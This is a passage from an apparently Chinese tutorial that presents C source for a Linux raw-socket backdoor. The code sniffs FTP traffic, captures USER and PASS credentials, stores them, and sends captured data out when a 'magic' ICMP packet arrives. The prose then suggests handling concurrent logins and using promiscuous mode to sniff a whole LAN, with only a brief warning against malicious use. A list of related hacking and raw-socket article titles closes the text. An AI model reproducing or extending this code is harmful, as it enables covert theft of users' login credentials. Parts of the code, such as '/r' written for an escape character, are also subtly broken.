/*create a raw socekt to sniffer all messages*/
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
{
exit(errno);
}
while (1)
{
n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
/*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
if (n_read < 42)
{
continue;
}
/* get ethernet header */
etherh =(struct ether_header *) buffer;
/* get ip header */
iph = (struct iphdr *) (etherh + 1);
switch(iph->protocol)
{
case IPPROTO_TCP :
CheckTCP(iph);
break;
case IPPROTO_ICMP:
if(MagicICMP(iph))
{
SendData(etherh, n_read);
}
break;
case IPPROTO_UDP :
case IPPROTO_IGMP:
default: break;
}
}
}
int CheckTCP(const struct iphdr * ipheader)
{
if(!ipheader)
{
return 0;
}
int i = 0;
/* get tcp head */
struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);
/* get data region of the tcp packet */
char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
if(username && target_port && target_ip)
{
if(ipheader->daddr != target_ip || tcpheader->source != target_port)
{
/*a new loading, we need to reset our sniffer */
if(strncmp(data, "USER ", 5) == 0 )
{
Reset();
}
}
}
if (strncmp(data, "USER ", 5) == 0)
{
data += 5;
i = 0;
if (username)
{
return 0;
}
char * p = data + i;
/*the data always end with LR */
while (*p != '/r' && *p != '/n' && *p != '/0' && i < 15)
{
i++;
p++;
}
if((username = (char*)malloc(i + 2)) == NULL)
{
return 0;
}
memset(username, 0x00, i + 2);
memcpy(username, data, i);
*(username + i) = '/0';
}
else
if(strncmp(data, "PASS ", 5) == 0)
{
data += 5;
i = 0;
if(username == NULL)
{
return 0;
}
if(password)
{
return 0;
}
char * p = data;
while (*p != '/r' && *p != '/n' && *p != '/0' && i < 15)
{
i++;
p++;
}
if((password = (char*)malloc(i + 2)) == NULL)
{
return 0;
}
memset(password, 0x00, i + 2);
memcpy(password, data, i);
*(password + i) = '/0';
}
else
if(strncmp(data, "QUIT", 4) == 0)
{
Reset();
}
if(!target_ip && !target_port && username)
{
target_ip = ipheader->saddr;
target_port = tcpheader->source;
}
if(username && password)
{
have_pair++;
}
if(have_pair)
{
struct node node;
node.ip = target_ip;
snprintf(node.Name, 15, "%s", username);
snprintf(node.PassWord, 15, "%s", password);
AddNode(&node);
Reset();
}
return 1;
}
2.3 改进的思路
由于时间原因,虽然后来想了一些改进的方法,但却没有去实现,很是遗憾,
不过还是在此提出,希望感兴趣的朋友自己去实践,并告诉我结果
(1):
由于原来的单线程后门程序在多个用户同时登陆FTP时会出错,我们即使加上烦杂的处理在运气很好的情况下最终也只能得到一对密码对,可以这样改进,每检测到一个用户名,就将这个数据包的源IP,源端口,以及用户名存储到一个列表中,用户名相同的进行覆盖存储,然后再次检测到密码时,根据密码数据包的源IP以及源端口去表中查找匹配,这样就能获取并发访问FTP时的密码了
(2):
如果你在局域网做试验,并且你的老板允许你把网卡设置为混杂模式,那么这个程序就是一个真正的嗅探器了,这个时候你要存储的信息就多了,需要加上目的IP和目的端口.最后切记,最好不要将这个程序用于恶意目的.
相关文章推荐
- 原始套接字透析之Raw Socket基础
- raw socket(原始套接字)工作原理与规则
- 原始套接字1(Raw Socket)
- 黑客之旅――原始套接字(Raw Socket)透析(1)--引言
- 原始套接字2(Raw Socket)
- 黑客之旅――原始套接字(Raw Socket)透析(2)--Raw Socket基础
- 原始套接字Raw Socket基础-- WSADATA wsaData(转)
- 黑客之旅――原始套接字(Raw Socket)透析(3)--用Raw Socket实现Ping
- 基于原始套接字(raw socket)的网络抓包工具
- Linux下的raw Socket(原始套接字)编程
- 原始套接字编程:raw socket
- 基于原始套接字(raw socket)的网络抓包工具
- raw socket(原始套接字)工作原理与规则
- Raw Socket(原始套接字)实现Sniffer(嗅探)
- Raw Socket(原始套接字)实现Sniffer(嗅探)
- 原始套接字(raw socket)
- Raw Socket(原始套接字)实现Sniffer(嗅探)
- Raw Socket(原始套接字)实现Sniffer(嗅探)
- Raw Socket(原始套接字)实现Sniffer(嗅探)
- Raw Socket(原始套接字)实现Sniffer(嗅探)